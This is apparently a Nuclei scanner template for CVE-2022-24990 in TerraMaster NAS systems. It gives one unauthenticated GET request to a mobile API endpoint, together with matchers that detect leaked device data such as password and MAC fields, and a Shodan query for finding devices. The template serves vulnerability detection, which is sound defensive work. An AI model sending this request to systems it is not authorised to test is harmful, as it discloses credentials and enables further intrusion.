id: CVE-2022-24990
info:
name: TerraMaster TOS < 4.2.30 Server Information Disclosure
author: dwisiswant0
severity: high
description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure.
impact: |
An attacker can exploit this vulnerability to gain sensitive information about the server, potentially leading to further attacks.
remediation: |
Upgrade the TerraMaster TOS server to version 4.2.30 or later to mitigate the vulnerability.
reference:
- https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/
- https://www.broadcom.com/support/security-center/attacksignatures/detail?asid=33732
- https://forum.terra-master.com/en/viewforum.php?f=28
- http://packetstormsecurity.com/files/172904/TerraMaster-TOS-4.2.29-Remote-Code-Execution.html
- https://github.com/ArrestX/--POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-24990
cwe-id: CWE-306
epss-score: 0.9593
epss-percentile: 0.99416
cpe: cpe:2.3:o:terra-master:terramaster_operating_system:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: terra-master
product: terramaster_operating_system
shodan-query: "TerraMaster"
tags: cve,cve2022,packetstorm,terramaster,exposure,kev,terra-master
http:
- method: GET
path:
- "{{BaseURL}}/module/api.php?mobile/webNasIPS"
headers:
User-Agent: "TNAS"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/json"
- "TerraMaster"
condition: and
- type: regex
part: body
regex:
- "webNasIPS successful"
- "(ADDR|(IFC|PWD|[DS]AT)):"
- "\"((firmware|(version|ma(sk|c)|port|url|ip))|hostname)\":"
condition: or
- type: status
status:
- 200
# digest: 4b0a004830460221009ccfe394bc6b8b31a756bb60d7542f8fa5d38bf65d3321043f1b75787cd1df0d022100e3ca4a315ae22f1611dd448073eb23a4fb2ad50d182e63e1037d0e816c1544a2:922c64590222798bb761d5b6d8e72950
